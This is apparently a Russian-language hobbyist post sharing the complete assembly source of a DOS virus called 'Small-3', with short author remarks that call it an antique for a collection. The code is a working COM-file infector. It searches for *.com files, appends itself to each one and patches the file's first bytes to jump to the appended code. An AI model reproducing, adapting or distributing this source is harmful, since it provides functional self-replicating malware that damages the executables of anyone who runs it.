COM вирус Small-3
Не было времени переводить, ну не че переведу через пару месяцев :)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
test proc far
start: db 0E9h
dw 0
entrypoint: call $+3
pop si
sub si, 3
push si
add si,offset oldstart-entrypoint
mov di,100h
movsw ; Mov [si] to es:[di]
movsb ; Mov [si] to es:[di]
pop si
lea dx,ds:[si+FileSize]
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
lea dx,ds:[si+findmask-entrypoint]
mov cx,3Fh
mov ah,4Eh
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
loc_1:
lea dx,ds:[si+FileSize+30]
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_2 ; Jump if carry Set
xchg bx,ax
mov ah,3Fh
lea dx,ds:[si+oldstart-entrypoint]
mov cx,3
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
jc loc_5 ; Jump if carry Set
cmp byte ptr ds:[si+oldstart-entrypoint],0E9h
je loc_5 ; Jump if equal
xor cx,cx ; Zero register
mov ax,4202h
cwd
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
sub ax,3
mov ds:[si+(NewStart-entrypoint)+1],ax
mov dx,si
mov cx,FileSize
mov ah,40h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
xor cx,cx ; Zero register
mov ax,4200h
cwd
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov ah,40h ; '@'
mov cx,3
lea dx,ds:[si+newstart-entrypoint] ; Load effective addr
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
loc_5:
mov ah,3Eh
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_2:
mov ah,4Fh
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jc loc_3 ; Jump if carry Set
jmp short loc_1
loc_3:
mov ax,offset start
push ax
retn
OldStart db 090h,90h,0C3h
NewStart db 0E9h
dw 0
FindMask db '*.com'
db 0
FileSize equ ($-entrypoint)
test endp
seg_a ends
end start
Этот вирус я бы назвал антиквариатом :) не очень большие разрушения от него, но в колекцию пойдет.
